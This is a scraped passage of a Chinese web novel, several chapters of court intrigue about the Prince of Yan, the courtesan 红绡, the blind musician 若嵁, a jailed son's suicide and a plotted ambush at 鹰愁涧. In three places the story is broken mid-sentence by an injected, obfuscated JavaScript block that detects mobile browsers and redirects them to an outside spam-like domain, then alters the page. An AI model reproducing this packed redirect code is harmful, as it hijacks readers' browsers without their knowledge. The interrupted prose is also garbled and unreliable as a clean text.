“黑云寨…守备府…翠云阁……”他低声咀嚼，嘴角虽扬，寒意暗藏，“不过是蜷伏于暗的宵小鼠辈，藏头缩尾，难见天光。” 他霍然转身，大氅在烛光下划出一道凌厉的弧线，目光扫向阶下肃立的亲卫首领： “隋然。” “末将在！”亲卫首领隋然单膝跪地，甲胄铿锵。 “即刻传令北平燕王府：命左长史裴昭雪火速来苍梧，主审军械失窃案犯。 你则率全城暗哨，按图索骥，全力缉拿黑云寨余孽常十三娘及其党羽。凡藏匿之军械，掘地三尺，务求尽数起获，活要见物，死要见痕。该犯凶悍，行动务必谨慎，宁可错放，不可打草惊蛇。但有线索，火速来报。 至于守备府……” 周放离顿了顿，冷芒自眸中掠过，“增派精干人手，十二时辰轮番值守，给本王死死盯住！一应出入人等，纵使蝇虫鼠蚁，亦须详录其形迹、时辰、方位。 然则—— 严禁惊动，更禁抓捕。留此活口，本王要静观其变，倒要看看，这潭死水底下，究竟还能翻出什么滔天巨鳄。” “遵命！” 隋然抱拳领命，转身便欲投入门外依旧滂沱的雨幕，身形已动。 “且慢。” 周放离的声音再次响起，带着不容置疑的威严： “柳守备心腹及虞惊鸿，分开关押，严加看守。尤其是虞惊鸿，命医官务必护住他心脉，留住他的性命。” “是！”隋然再无停留，身影迅速消失在风雨交加的回廊深处。 水榭内，烛火映照着周放离沉静如渊的面容。窗外，暴雨依旧在苍梧大地上肆意冲刷。 他的指腹再次抚过匕首冰冷的锋刃，低语随风消弭于雨声中：“饵已下，网已张…就等鱼儿，自己撞进来了。” 连日滂沱骤雨终敛狂态，淅淅沥沥化作绵绵愁丝。苍梧镇仿若经霜打水洗，泥腥草馥混着潮气漫卷街巷，却难掩暗处翻涌的惶惑阴翳。 翠云阁三楼，临河雅室 窗扉半开，带着雨后水汽的微风卷入，吹拂着珠帘，发出细碎的碰撞声。室内熏香袅袅，却驱不散其间凝滞的压抑。 十三娘鬓发散乱，粗布缠额。虽刻意低调，却掩不住眉宇间的草莽戾气与焦灼。她背对门，望着窗外的浑浊河水，指节无意识地敲打窗棂。 珠帘轻响，红绡款步而入。 她今日换了身素雅的藕荷色衫裙，发髻松松挽起，斜插一支白玉簪，脂粉薄施，依旧是那副温婉从容的花魁模样，只是眼底深处，暗藏警惕。 “十三娘。”红绡声音轻柔，走至案边，素手执壶，为对方斟了一杯清茶。 十三娘闻言转身，眼含血丝，怒视红绡： “三日！整整三日！柳守备龟缩府上屁事没有。他儿子下了大牢不假，可那老狗呢？他指使人烧军籍库、勾结黑云寨、贩卖军械！哪一条不是抄家灭族的死罪？！燕王为何不抓？为何不动？！” 她怒拍案几，茶盏应声而起，盏中碧汤如惊鸿乍起，泼溅而出。 “我早该知那班乌纱罩头的，皆是一丘之貉！ 二十年前，黑云寨坐拥铁矿，便遭他们火焚屠戮。彼时寨中焦土蔽日，千百兄弟十不存一，幕后主使高居庙堂，我鞭长莫及。可这柳守备，踩着我寨血泪步步高升，盘踞苍梧作威作福。 你我苦心布局，欲借军械案将他扳倒，以雪灭门深仇。眼瞅大功将成，难道竟要因那燕王姑息纵容，化作泡影不成？” 红绡静待她发泄，见其气息稍平，才缓缓开口：“十三娘，稍安勿躁。官场倾轧，岂是快意恩仇的江湖？燕王扣着柳守备不动，未必是护他。” 十三娘赤红着眼看向红绡，“不是护他？那是什么？” “钓鱼。” 红绡轻吐两字，指尖沾了点溅出的茶水，在光滑的案面上画了一个圈。 “柳守备大抵是钓钩上的饵食。燕王真正图谋的，或是潜藏在暗处的庞然大物，或是那些与他狼狈为奸、尚未现形的同党。” 红绡的话令十三娘怒火稍歇，却生出更深的寒意与恐惧。 十三娘闻言，眼中血丝愈发浓重，寒意与不甘交织着涌上心头，“究竟要等到何时？！我儿可还在燕王手里！我等谋划十数载，难道只能换来个‘等’字？！” 红绡素手擎起案前茶盏，朱唇微启轻拂浮沫，眼帘低垂，将眼底的机谋与不耐尽数遮掩。 “十三娘，越是此时，越需忍耐。妄动，只怕正落入他人彀中。此事，还得从长计议……” “从长计议？呵…” 十三娘惨笑一声，“二十年了！从黑云寨焦土那日算起，还不够长吗？！忍耐…忍耐换来的是什么？是仇人步步高升，是子孙身陷囹圄！” 她霍然起身，双掌重重按在案几之上，倾身向前，眼底血丝密布，目光剜着红绡那张精致面容。 “红绡姑娘，自你我相识起，便尽心尽力替我筹谋。昔日我曾疑心于你，你只言与柳守备有不共戴天之仇。…可你究竟是何身份？为何对这些官场把戏如此门清？又为何…能在这风月场中如此从容？” 此时，红绡脸上的温婉淡然终是淡去几分，显出恰到好处的无奈。她搁下茶盏，坦然迎上十三娘的目光。 “十三娘疑我，也是人之常情。奴不过是一介身不由己的浮萍，在这翠云阁迎来送往，见的腌臜事多了，自然懂得几分自保的皮毛。帮你们…… 或许只是…见不得这世间再多一桩骨肉离散的惨剧，徒增几分无谓的悲声罢了。但求莫要…重蹈当年覆辙。” 这番真真假假的言辞，非但未消十三娘心头疑云，反令她心中的憋闷之感翻涌难抑。面向红绡的平静面容，郁气难消，索性抓起冷茶一饮而尽。 “好个‘徒增悲声’！好个‘重蹈覆辙’！”十三娘掷碎手中玉盏，声音嘶哑，“承蒙红绡姑娘今日‘指点’，十三娘‘没齿难忘’！” 语罢，愤然转身，珠帘被她撞得噼啪乱响，挟着决绝怒意消失在门外。 窗外本就阴沉的气流，被十三娘那番玉石俱焚的宣言搅动得更加不安，远处闷雷滚动，仿佛呼应着室内的肃杀。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533416|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红绡走至窗边，眼见十三娘愤慨的身影消失于街角人流中，面上的凄婉无奈早已被平静取代。她轻阖门扉，隔绝了外界的喧嚣。 室内复归寂静，唯有更漏滴水的声音清晰可闻。 “出来吧。”红绡淡声道。 雅室角落的阴影微起波澜，昭翎悄无声息地现出身形。 “她信了？”昭翎低声问。 “何须管她信否？柳守备已成困兽，黑云寨浮出水面，不过是替我等牵制燕王罢了。” 红绡旋过身来，莲步轻移至妆奁之前，素手拈起那柄羊脂似的象牙梳，对镜挽弄鬓边青丝。 镜面深处，她的眉眼轮廓忽然洇开一片湿漉漉的青灰。 原是窗外骤雨斜侵，水痕在镜背蜿蜒爬行，将菱花格外的檐角飞泻的银线，拓成了晃动的流光。 雨珠从镜缘无声滑落，拖曳出冰凉的轨迹，恰映在她的颊边。 …… 雨声淅沥，若嵁眼前的白纱被湿气洇得半透。 雨滴顺着指缝滑落，凉意在她的左手掌心晕开。另一只手则扣在腰间，无意识摩挲着腰间梅枝玉扣，温润光泽在指尖流转。 “雨霖复至。春雨绵绵……何时能放晴？”低语消散在淅沥雨声中。 三日前，与红绡以棋推演当前局势。 燕王下一步，该是顺理成章的擒拿柳守备，破除军械失窃的迷案。 然燕王至今按兵不动，若存着引蛇出洞、钓她这个幕后主使的心思，终究是要空等一场。 此前与红绡的棋局推演，清晰在目—— 燕王的下一步，本该是顺理成章地擒拿柳守备，撕开军械失窃的迷雾。然三日已过，王府方向竟无半点风声。 指尖描摹着玉扣冰凉的纹路，若嵁眸光渐深。 约莫是存了引蛇出洞，钓出这引他入局的幕后主使的心思。 然而，这无疑是劳而无功。若嵁自矜，往日行事素来周密，层层遮蔽，如同隐于迷雾之后。非要细究何处可能留下破绽，引他疑窦…… 思绪骤然卡顿，指尖的玉扣触感陡然变得尖锐，猝不及防地刺穿了记忆的屏障。 翠云阁…… 月旬前那个雪夜，因纨绔争风导致自己重伤昏迷的脑后重击…… 除了那双碾过琴身的云纹锦靴，还有…… 此刻，朦朦胧胧的夜袭乱象竟前所未有地清晰起来。 当时，柳衙内分明是站立姿态，身体却突兀地向前猛扑。 那姿态……绝非寻常失足。 他的膝弯……分明是遭受了来自侧后方的重击。 若嵁的心猛地一沉。 盖因这猝不及防的一击，才令其失控撞来，杌子直击她的脑后。 事发仓促，人人慌乱。但此刻，在这些被强行拼合的记忆碎片中，一个被忽略的细节骤然浮现—— 在意识坠入黑暗前的一瞬，滑落半寸的白纱底下，她的眼角余光分明瞥见角落的阴影里，曾悄然立着一道挺拔的身影。 ……深目高鼻的异域轮廓，带着格格不入的冷硬气息…… 是昭翎！ 21. 碣石调·幽兰（二十） 致使己身失忆的元凶竟是昭翎？！ 指腹收拢梅枝玉扣，温润玉石硌得指骨生疼，似是警示。 昭翎既听命于红绡，那她，对此事是否知情？抑或正是受她指示？ 然，若嵁一介弱质女流，欲取自己的性命，何必如此大费周章？重伤失忆后，自己初上翠云阁时，红绡的关切亦不似作伪。 其后，有万般机会再下杀手，却仍甘愿为自己驱使，所图究竟为何？ 思绪随窗外的雨丝一同被风搅乱，纷乱无章。若嵁忽感脊背寒意骤生，后怕如蔓草疯长，缠得指尖发凉。 万幸！ 昔日因残忆蒙尘而生的惶惑，以及藏于心底的脆弱呓语，始终未曾吐于红绡耳畔。否则，必些因此坠入永夜深渊，万劫不复。 且闻红绡那洞悉官场机变的谈吐，以及操弄人心的手腕……既非寻常风尘女子所有，亦非江湖草莽杀人所具。 窗外的雨，似乎更冷了。 若嵁抬起的指尖触及被雨水洇湿的白纱边缘。心中盘桓已久的疑窦，终是挣脱了所有侥幸与迷雾，清晰地浮现出来： 红绡……究竟是何身份？ …… 翠云阁 烛火摇曳，幽影在红绡惨白的面颊上明灭不定，妆奁深处，一块褐如沉铁的狼髀石泛着冷冽光泽。 笃笃笃—— 叩击声自身后响起，红绡收拢五指，将那块带着塞外寒意的信物藏于掌心。 她尚未来不及掩饰眼中惊惶，昭翎已然迫近。他自袖中掣出一截以赤红火漆封缄的竹管，其状纤细若指，带着不容抗拒的力道，径直按进红绡冰凉颤抖的掌心。 “‘家中’来信。风隼日夜兼程，奔波至今才送到。”昭翎声音几不可闻，“……北边，不太平。” 红绡接过竹管，指尖因冰凉触感而微微发颤，僵硬地捏碎火漆，抽出卷细的薄绢。绢上是用特殊颜料写的文字，扭曲如蛇行，在昏暗光线下几乎隐形。 快速掠过几行字，红绡眼底不复先前的平静。握着绢纸的手指收紧，薄绢在她掌心发出不堪重负的细微声响。 密函讯息不过寥寥数语，却令红绡一时恍惚，不知所措。 “信上说什么？” 昭翎追问，自红绡剧烈收缩的瞳孔与骤然紧绷的身体中，觉察事态不妙，心也沉了下去。 “上谕。 辽东有变。命我等务必在旬日之内，搅乱苍梧乃至燕藩后方！ 军械案、柳守备、黑云寨…皆是可用之棋！不惜一切代价，制造混乱，牵制燕王精力，使其无暇东顾！” 红绡将薄绢凑近跳跃的烛火，火苗顷刻吞噬了几行致命文字，化作一缕扭曲的青烟。灰烬飘落在妆台上的铜镜前，映着她惨白如纸的脸，似是不祥的谶语。 她闭上眼，强压下内心的惊骇。再睁开时，看向昭翎的眼神再无半分柔媚风情，唯余冷酷底色。 然而昭翎却在那冰冷的底色下，就窥见了深处翻涌的痛苦漩涡。他踏前半步，声音低沉而残酷，字若重锤砸在红绡早已不堪重负的心上： “此刻若退，满盘皆输！” 红绡攥着狼髀石的手，因过度用力而骨节发白，坚硬粗糙的边缘嵌入掌心，带来尖锐的痛楚。 昭翎却不愿留她喘息的余地： “红绡，我知你倾慕那瞎了眼的琴师。且看她替虬髯客洗脱嫌疑的手段，其智计谋略着实令人甘拜下风。愿赌服输，你若舍不下她，事成之后将她敲晕带走便是，总好过让她死在乱局里。 可一旦任务失败，他们的手段，你可比我清楚。切记，你阿弟的生死系于你的一念之间……” 昭翎之言，将红绡那点不合时宜的念想碾得粉碎，唯余焚尽退路的决然： “好…好…好…既然如此，那就把苍梧的水彻底搅浑！搅得天翻地覆！！” 此言既出，恰似金戈挑破铅云，刹那间风云色变。天边惊雷轰然劈落，震得雕花窗嗡嗡作响，烛火亦在狂风中明明灭灭。 红绡起身，藕荷色绸丝的衣袂拂过震颤的窗棂。 十里外，县衙囚室 坚硬铁栅被一双痉挛变形的手死死抓住，指甲刮擦着粗糙的铁锈。 牢房内湿冷刺骨，霉斑爬满石墙。油灯昏黄，空气里弥漫着腐朽绝望的味道。 柳衙内蜷缩石榻一隅，身躯簌簌如惊弓之鸟。 身陷囹圄数日，虽仗着父亲荫庇，未遭刑具加身，然囚室昏黑如永夜、死寂沉沉。唯有鼠啮木梁、虫蛀腐木之声，自暗处丝丝缕缕漫来，一寸寸啃食他惊惶欲碎的魂灵。 燕王周放离以暴烈嗜杀闻达于天下，传闻还行过屠城灭族之事，其凶残行径铁证如山，绝非世人妄言揣测。 与其落入这“活阎王”手中，受尽酷刑，不如…… 柳衙内眼神涣散地看向横梁上那根粗粝的麻绳。 “爹！救我——”涣散的目光骤然聚焦，发出瘆人的幽光。 他猛地扑向铁栅，指节死死抠着栅杆，青筋暴突，发出“嗬嗬”低喘。 “不是我！冤枉！我分明…未曾取他性命！是那腌臜奴才阿松！下贱胚子！攥着我的把柄讹诈，我才…才随手挥鞭惩戒。抽他…抽得他哭叫……” 攥紧的手指稍有松懈，他整个人便瘫软在地，干呕起来。 “……后来…后来他就没了声响，直挺挺瘫在地上…他还有气的…定是他装死构陷我！爹…爹……” 长时间的嚎哭令柳衙内声嘶力竭，头晕目眩时，眼前再现那日鞭打阿松的场景。在他转身离开之际，偏僻街角有一个本不该踏足与此的人。 藕荷色、衫裙—— “红绡！”柳衙内的恐惧被怨毒替代，“是她！翠云阁那个贱人！红绡！她在那儿！她看见了！她全看见了！！ 阿松…阿松是后来才死的。肯定…肯定是她补的刀！对！是她！是她杀了人！是她栽赃给我！都是她！爹！你要信我！信我啊！！” 嘶哑的吼叫在空荡的牢狱中徒劳地冲撞，最终被无边的死寂和那永恒不变的水滴声吞噬。 柳衙内摇摇晃晃站起，搬过木凳，踩了上去。冰冷粗糙的麻绳套上脖颈，激起剧烈战栗。 他踢翻了脚下木凳。 意识沉沦前，红绡静立暮色中的脸，那抹冰冷的藕荷色，在他涣散的瞳孔中重叠、凝固。 他伸手去抓，最终也只抓到了虚空中的冰冷绝望。 翌日 翠云阁小倌阿松、龟公横尸案，终以柳衙内自戕谢罪画下句读。 此讯如惊鸿掠影，自朱门绮户间逸出，飞入市井巷陌，引得茶肆酒坊间议论声浪翻涌，恰似沸鼎烹油，久久不息。 暗卫禀报柳衙内于狱中悬梁时，周放离正执笔批阅军报，闻言毫无动容，留墨汁在宣纸上洇开。 “知道了。” 柳衙内？ 一个仗势欺人的纨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533417|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绔，两条人命案不过是顺手扯出的藤蔓。他真正要揪的根，是藤蔓后面盘踞的老树。 死了，省得费事审问，也断了柳守备一条无用的臂膀。棋子已废，无足挂齿。 奔走相告的喜讯，透过窗棂缝隙传入北城陋室。 若嵁静坐，指尖无意识划过琴弦，未成曲调。柳衙内如此结局，可叹？可悲？可怜？ 抑或皆有。 溯洄推演红绡身上的疑点——未知来历、柳衙内的威胁、手背的抓伤以及伪造的情史，足可推断，阿松之死与她有着千丝万缕的联系。 当真是，多行不义必自毙。 未成调的哀戚嗡鸣在陋室低徊，似是对那纨绔短暂一生的最后叹息。 报信差役疾驰的马蹄声踏碎清晨的湿冷，点燃了市井巷陌的议论之火，飞速掠过坊市，涌入守备府森严的高墙。 门房接过盖着县衙大印的文书，只看一眼，便面无人色。连滚带爬地扑向内院，却在通往正厅的回廊前被大管家截住。 “噤声！你想找死吗？！”管家压低声音，又惊又怒，“大人一连几日未曾安眠，刚服了安神汤歇下。此刻惊扰，是想让老爷干脆气死过去？！” 几个闻讯赶来的心腹幕僚聚在偏厅，个个面色灰败，如丧考妣。他们交换着惊惧的眼神，最终落在最受柳守备信任的师爷身上。 师爷捧着那页薄纸，纸上寥寥数字重逾千斤。他痛苦地闭上眼： “此事，瞒不住多久……但，至少等老爷醒来，由我，缓缓告知。” 众人默然点头。 府中无人不知，守备大人对那不成器的独子是何等溺爱深沉，丧子的剜心之痛，足以令这位手握重兵、城府深沉的老将顷刻崩溃。 府内的仆役们被勒令噤若寒蝉，行走间只闻衣袂摩擦的窸窣声，人人屏息垂首，唯恐触怒那随时或可爆发的雷霆。 而市井的喧嚣却已如野火燎原，肆无忌惮地烧灼着守备府的威严。 片刻后，内室厚重的门帘被掀开。 柳守备揉着发胀的脑袋，面容憔悴地踱入正厅。他敏锐觉察厅内异样的死寂，以及心腹们躲闪的目光。 不祥的预感陡然升起。 “何事？”他声音沙哑，目光却仍旧锐利地扫过垂手侍立的管家和师爷。 师爷喉头滚动，嘴唇嗫嚅，噗通一声跪倒在地，双手将那页迟来的噩耗高高捧过头顶，未及开口，已是老泪纵横。 柳守备伸手刚要接过，身旁尚带余温的茶盏“哐当”坠地，碎瓷四溅，滚烫的茶水泼湿了官靴下摆。 他面上血色褪尽，嘴唇哆嗦着，却发不出一个完整的音节，晃荡的身体被身后之人一把扶住才未栽倒。 “吾儿…吾儿啊——” 他唯一的儿子…没了！ 粗喘呜咽回荡于死寂厅堂，柳守备此刻已是鬓发散乱，涕泪横流。 “滚！都滚出去！” 管家仆役如蒙大赦，慌忙退避。 厅门紧闭，唯余烛火噼啪与柳守备破碎的呼吸。他蜷缩着，眼前浮现的却尽是儿子的身影。 血脉断绝，半生筹谋尽化齑粉，前路尽墨。 他挣扎起身，踉跄扶住冰冷桌案，指尖虚脱，目光无意扫过桌面一角。 一方素白信笺突兀出现。 纸色刺眼，边缘泛着冷光。 更有一缕清冷甜香，丝丝逸散，穿透他麻木的哀伤，攫住了心神。 22. 碣石调·幽兰（二十一） 素白信笺被柳守备揉碾成团，又颓然松开。冰冷甜香犹在鼻端，信中字句却刺入他濒临碎裂的心魄。 日前曾派去焚毁罪证的心腹，竟已落入周放离掌中。更甚者，燕王府的暗哨，正监视在守备府周围，只待他与“上线”稍露端倪，便是雷霆万钧的剿杀。 丧子之痛、断臂之危、灭顶之惧……诸般情绪在他胸中交织，最终化为孤注一掷的狠绝。 趁着管家离府操办白事，柳守备寻宝来一套小厮服饰，将面容遮掩严实。 待确认四下无人，他压低帽檐，迈着刻意佝偻的步子，朝着信笺所指之地匆匆而去。 北城废弃暗渠入口，湿冷腥腐之气弥漫，仅余头顶一线惨淡月光。 柳守备裹在灰布斗篷里，阴影遮住他猩红的双眼。背靠冰冷渠壁，身体紧绷如弓，斗篷下，指甲深掐掌心，带来锐痛。 时间凝滞。滴水声敲打着他紧绷的神经。信中内容与丧子之痛撕扯理智，令他几欲拔刀劈开黑暗。 惯常的谋虑终是攥稳了理智缰绳。他放缓呼吸，侧耳凝听：远处更梆、野鼠窸窣……唯独无脚步声。 等待煎熬，消磨着他心中微弱的希望。此信到底是是转机，还是催命符？ 就在柳守备耐心耗尽，即将逃离时—— 眼前阴影无风自动，一道瘦长身影自渠壁黑暗中剥离，立于前方几步外，月光边缘。 柳守备按住斗篷下的刀柄，警惕望去。月光吝啬，勾勒出模糊轮廓，却不见面容，唯有一双幽冷眼眸无声回视。 腐臭死寂笼罩。 “阁下信中所言，是真是假？”柳守备的声音嘶哑干裂。 昭翎无谓笑道：“燕王行事，何须虚言？守备大人的心腹已在燕王掌中。至于府外……大人乔装而来，想必有所察觉。” 最后一丝侥幸碾碎，柳守备强撑道：“阁下究竟是何人？所求为何？老夫残命一条，恐怕难以效力？” “大人痛失爱子，根源何在？”昭翎不答反问，语气带着蛊惑，“是家中不成器的衙内？还是爱嚼舌根的市井刁民？不。是那端坐王府、手握生杀予夺之权的燕王！若非他步步紧逼，令公子何以惊惧自戕？大人您，又何以沦落至此？” “周放离……”柳守备咀嚼着燕王名讳，恨意滔天，却未失理智，“阁下无需煽动。若有对策，不妨直言。” “对策自有，看大人敢不敢？”昭翎踏前半步，目光灼灼，“大人手握城防兵权，熟知路径。与其坐等屠刀落下，株连九族，何不……放手一搏？” “放手一搏？”柳守备惊愕抬头，“你是说…刺杀……” “正是！”昭翎截断，“取其首级！一报血仇，二破死局！燕王一死，苍梧必乱，军械案死无对证。届时，大人手握兵权，进可拥兵自重，退可待价而沽，岂不胜过引颈待戮？！” 柳守备胸膛剧烈起伏，昭翎描绘的“生路”灼烧着他岌岌可危的理智。刺杀藩王，形同造反，九死一生！可…不刺，便是十死无生！ “谈何容易？燕王身旁戒备森严，他自身更是百战之将，近身难如登天！尔等有何凭杖，敢撺掇老夫行如此大不韪之事？”他直视昭翎，意欲看清对方底气何在。 “大人只需下定决心。”昭翎语气笃定，似有千钧倚靠，“三日后，燕王视察边防，行期已定，此乃天赐良机……我等可替大人在鹰愁涧制造骚乱，牵制一二。大人手下亦不乏精兵强械，依险设伏，何愁大事不成？” 暗渠死寂，唯闻两人一重一轻的喘息声。 此计听来周密，环环相扣，然期间凶险何止百倍千倍？柳守备不敢大意，复又问道：“刺杀燕王，成败掺半，后果未知。尔等鼎立助我，有何益处？” “益处自然不少。”昭翎面上笑意不减，语气平稳却暗藏锋芒，“成，则大人血仇得报，危局立解，合作可期。若败…” 他停顿半息，缓缓续道，“…亦能重创燕王威信，试出边军的反应速度、布防漏洞以及驰援效率。此等军情，重逾千金。” “试探军情？！”柳守备心惊。对眼前之人的身份有了大致猜测，虽忌惮，却其所言多了几分信任。 昭翎已看出他的动摇，遂不再多言，悄然后退，没入渠壁的阴影深处。留下一句： “盟约既成，三日后静候佳音。” 柳守备自离开暗渠，并未如昭翎所料回府，而是兜转于北城陋巷，闪身钻进一间弥漫劣质酒气和牲口气味的破败脚店。 其后，径直走向最里间紧闭的污渍木门。 推门瞬间，凛冽杀意扑面而来！ 一点寒芒直刺咽喉。 快！狠！准！带着积年的怨毒。 柳守备瞳孔骤缩，本能后仰，佩刀瞬间出鞘格挡！ “铛——！” 刺耳的金铁交鸣在狭小空间骤响。火星迸溅，照亮了袭击者一双燃烧着复仇火焰的眸子。 十三娘一击不中，手腕翻转，匕首划出诡异弧线，再取心窝。她身形矫健，招招欲取人性命。 柳守备狼狈招架，斗篷划开数道口子。初次交易军械，他尚且不知十三娘身份。此时若非万不得已，他亦不愿再招惹黑云寨余孽。 “慢着！十三娘！听老夫一言，此事了结，项上人头就归你了。” 柳守备险之又险地避开一记劈腿。背靠墙壁，急促低吼，强撑着那点摇摇欲坠的官威。 十三娘攻势稍缓，匕首却依旧缠绵在柳守备要害，满脸尽是讥诮与刻骨的恨，“老娘今日便要了你的命。” “杀我易如反掌！”柳守备喘着粗气，眼神却异常锐利，“老夫虽借当年黑云寨一案得以平步青云，但终究非始作俑者。血仇不报，寨中那些枉死的人，就能瞑目吗？！” 十三娘眼神一厉，匕首又逼近一分。 柳守备语速飞快，字字如刀：“十三娘的仇人，是那班急欲邀功、一纸令下焚尽村寨的朝中显贵；是贪恋矿藏、巧取豪夺的先帝阴魂；更是那群高坐朱楼、醉享奢靡的金枝玉叶。在他们眼中，你我不过蝼蚁……” 他戳中了十三娘心中隐痛，无力感再度袭来。 “你想说什么？”十三娘声音冰冷，匕首锋刃微偏。 “联手！”柳守备斩钉截铁，“三日后，周放离将亲临‘鹰愁涧’视察边防。那是黑云寨旧界，十三娘想必不会陌生？！” 十三娘动摇。 “老夫有内线，可提供其行程及护卫部署。”柳守备抛出诱饵，“老夫派死士制造混乱，吸引主力。而你黑云寨……” 他眼中闪过狠戾算计，“熟悉地形，精于伏击。只需在鹰愁涧最险要的‘一线天’，给他致命一击。便可以彼之道，还施彼身！” “呵，”十三娘冷笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16533418|186437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“替你当刀？事成后，你再调军剿灭我，抹去痕迹邀功？” “新主子？”柳守备脸露惨笑，夹杂着无尽怨毒，“老夫独子，已被周放离逼得狱中悬梁。断子绝孙之仇，不共戴天！老夫现在，只想他死！要他死无葬身之地！” 丧子之痛无需作伪。他压低声音，似恶鬼低语： “事成，鹰愁涧原址物归原主。从此你黑云寨不仅有自由之地，更有黄金万两。老夫许诺，以后若有机会，必会助你等复仇。” 十三娘眼神剧烈闪烁。滔天仇恨、生存渴望、未来野望激烈交锋。明知柳守备此人老奸巨猾，所言所行不可尽信，却难免动容。 “我如何信你？”十三娘声音沙哑，匕首未收，但满腔杀意已转为警惕权衡。 “此乃守备印信，”柳守备从怀中掏出一方印泥，交予十三娘手中，“凭此可调苍梧镇戍卒半日，助你寨中人马潜入鹰愁涧外围。” 柳守备声音中带着孤注一掷的疯狂，“事成，印信销毁；若败，它便是老夫勾结匪类、谋刺藩王的铁证。此乃老夫身家性命，够不够诚意？！” 十三娘指尖摩挲着冰冷印泥上凹凸的篆文，沉甸甸的触感与柳守备眼中同归于尽般的怨毒交织。 她收回匕首，手腕一翻，印信已没入袖中。 “好！三日后，鹰愁涧。周放离的命，老娘要定了！”积压多年的血海深仇，终是寻到了宣泄的裂口，“若你骗我，” 她逼近一步，气息几乎喷在柳守备惨白的脸上，“纵使追到幽冥黄泉，老娘也要剐下你柳氏满门每一寸皮肉，祭我黑云寨亡魂！” 话音方落，十三娘身影倒掠，撞开破窗，融入外面浓稠的夜色。 柳守备背靠墙壁，剧烈喘息，冷汗浸透里衣。抬手抹去颈侧被匕首锋芒划出的细微血线，眼中惊悸未退，却又被义无反顾的决绝覆盖。 他踉跄走出脚店，污浊水渍扑打在灰败的脸上，晦暗天幕下，他如游移在死寂街巷的幽魂，蹒跚着，向深渊而去。 …… 霜月倾银，昭翎踏檐掠瓦，潜而入翠云阁。 鲛绡纱灯垂落柔辉，熏笼里沉水香丝丝缕缕，缠裹着若有似无的脂粉甜腻。 红绡斜倚锦榻，指尖拈着一颗玲珑剔透的水晶葡萄，眼尾丹蔻似血，盈盈眸光如春水乍破，将檐角跃下的不速之客从头到脚细细丈量。 “事办妥了？” “妥了。”昭翎不见外地摘了颗葡萄塞进嘴里，含糊道，“老狐狸还挺精的，险些没能唬住他。” “他若当真全无疑心，反倒教我心下难安。”红绡颔首，拿起丝帕拭净指缝的汁水，“他……” 门外侍女的声音打断了对话，“姑娘。若先生来了，弹了一曲《幽兰》。” “带先生进来。”红绡吩咐着，斜睨了一眼昭翎，示意他先行离开。 昭翎意味不明地笑了一声，转身遁入黑夜。 待若嵁踏入馥郁暖阁，案上葡萄盘已换作青瓷茶盏。红绡敛去眸底轻佻，执壶倾出碧汤，茶烟袅袅间似藏三分深意。 “姑娘有客人？”若嵁于百香杂陈中，独辨出艾蒿清苦气息，她试探道，“可是…昭翎？” 红绡闻言，面上的温婉笑容一滞，“奴在先生面前，当真是毫无隐秘可言。” “或因我能洞彻人心幽微，方惹来杀身之劫。” 23. 碣石调·幽兰（二十二） 若嵁声线平静无波，似诉寻常事。而那双隐于白纱后的双眸，却仿佛能透过茶烟直抵红绡心湖。 “盲者身前，人心易懈。目不能视者，鼻息往往异于常人。姑娘衣袂间清冷甜香，如霜浸寒梅，却又熏染着合欢的缠绵。而昭翎……” 她翕动鼻翼，细细分辨。 “艾蒿清气、沉檀香囊，还混着…马鬃焦油的刺鼻气味。被柳衙内击打重伤之前，我嗅到了……” “他曾允诺过，不动你一分一毫！” 鲛绡灯影在红绡面上一跳，脱口而出之言已是覆水难收。 室内茶香暖气氤氲，却凝出了几分彻骨寒意。 红绡强自镇定，压住翻涌的心绪，绷紧声线，勉力自辩：“先生便是不信奴，奴也得忌惮先生手中的把柄。” 那些从前被埋于心底的猜忌与后怕逐渐破土而出。 非我族类其心必异。自幼与母亲阿弟被掳走为奴，却又因貌美得以重返故土，又不得不留下阿弟为质。 她汲汲营营多年，传回的消息不计其数，却仍不知那远在苦寒之地的阿弟，是骸骨还是活人？ 红绡不愿想，亦不敢想。 犹疑近乎要将红绡撕扯成两半。在某一瞬间，她甚至要那些筹谋算计尽数告知若嵁，却终究无法赌上阿弟渺茫的生路。 “盟约既成，三日后静候佳音。”昭翎离之言在耳畔回响。 红绡的目光扫过若嵁沉静却深不可测的脸，隐秘的倾慕转瞬间已被冰冷的权衡碾碎。 “先生稍坐，奴去更衣。” 红绡起身，裙裾一寸一寸地拂过冰冷的地砖，她已下定了最后的决心。 若嵁自知言多必失，既已探出二人底细，也不欲咄咄逼人。 静坐一侧，她嗅着鼻尖残留的气息，昭翎那张异域轮廓分明的脸在记忆碎片中闪过…… 